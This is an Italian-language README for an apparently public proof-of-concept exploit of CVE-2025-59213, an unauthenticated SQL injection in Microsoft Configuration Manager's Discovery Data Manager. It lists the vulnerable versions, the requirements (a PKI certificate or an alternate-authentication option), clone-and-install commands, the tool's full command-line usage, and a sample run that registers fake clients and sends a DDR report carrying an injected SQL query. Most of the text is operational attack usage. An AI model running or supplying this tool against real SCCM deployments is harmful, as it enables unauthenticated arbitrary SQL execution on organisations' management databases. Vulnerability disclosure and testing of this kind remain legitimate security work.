Exploit di SQL injection non autenticata in Microsoft Configuration Manager (ConfigMgr / SCCM) 2503 (CVE-2025-59213)

Questo script sfrutta la vulnerabilità CVE-2025-59213, che consente a un attaccante non autenticato con accesso di rete a un Management Point di eseguire query SQL arbitrarie sul database del sito abusando di una falla di SQL injection nel metodo DuplicateAMTMachineRecord del Discovery Data Manager (DDM), dove il campo non escapato Hardware_ID0 viene gestito in modo improprio durante l'unione di due client con ID hardware in conflitto.

Quando KB34503790 manca, tutte le seguenti versioni di Microsoft Configuration Manager sono vulnerabili:

< 2503 (5.00.9135.1008)
< 2409 (5.00.9132.1029)
< 2403 (5.00.9128.1035)
<= 2303 (*)

Requisiti

In alcuni casi, quando il management point è configurato con la modalità di comunicazione HTTPS Only, è necessario un certificato PKI per eseguire l'autenticazione TLS reciproca nei confronti del servizio HTTP vulnerabile. Qualsiasi certificato emesso dalla PKI interna con finalità Client Authentication funzionerà.
Se non si dispone di un certificato, utilizzare l'opzione --altauth (maggiori informazioni qui)

Note

L'exploit richiede la registrazione di due client fittizi, che lo script elimina automaticamente dopo una SQL injection riuscita, a meno che non venga usata l'opzione --no-clean o una patch impedisca l'attivazione della pulizia.
Poiché l'iniezione è asincrona, i payload basati sul tempo sono inefficaci, in quanto non esiste una correlazione diretta tra l'esecuzione e il tempo di risposta.

Installazione

È possibile installare clonando il repository e installando le dipendenze.

$ git clone https://github.com/synacktiv/CVE-2025-59213
$ cd CVE-2025-59213
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

Utilizzo

 $ python3 CVE-2025-59213.py -h 
usage: CVE-2025-59213.py [-h] -t TARGET [-sk SIGKEY] [-k KEY] [-c CERT] [-v] -cn CLIENT_NAME [-rs REGISTRATION_SLEEP] [-a] -sql SQL [-nc]

CVE-2025-59213 - Discovery Data Manager (DDM) Unauthenticated SQL Injection

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target (http://sccm-mp.local/)
  -sk, --sigkey SIGKEY  SMS signature key (automatically generated if omitted)
  -k, --key KEY         Private key file for mTLS
  -c, --cert CERT       Certificate file for mTLS
  -v, --verbose         Verbose output, print requests
  -cn, --client-name CLIENT_NAME
                        Name of the client that will be created in SCCM
  -rs, --registration-sleep REGISTRATION_SLEEP
                        The amount of time, in seconds, that should be waited after registrating a new device (10 seconds by default)
  -a, --altauth         Use the MP's alternate authentication endpoint
  -sql SQL              Query to execute through the SQL injection
  -nc, --no-clean       Do not automatically clean the registred devices

Esempio

$ python3 ./CVE-2025-59213.py -t https://cmc.corp.local --altauth -cn FAKE_CLIENT_NAME -sql 'select 1'
[+] Generated new signing key, saved to /tmp/sccm_poc.key
[+] CcmMessage : ID={D731ED0A-4474-497D-A191-D8948E17ECBF}
[+] Got SMSID = GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F for new client FAKE_CLIENT_NAME
[+] CcmMessage : ID={23EEE9B8-7971-4560-9D18-9328C5DF0C2E}
[+] Got SMSID = GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69 for new client FAKE_CLIENT_NAME
[+] Sending DDR report: SMSID=GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F OLDSMSID=GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69
[+] CcmMessage : ID={88B6BEBD-1F99-4BD2-8786-6BD3C6CFF299}
[+] CcmMessage : adding clientauth
[+] CcmMessage : adding attachment
[+] DDR report sent successfully

CVE-2025-59213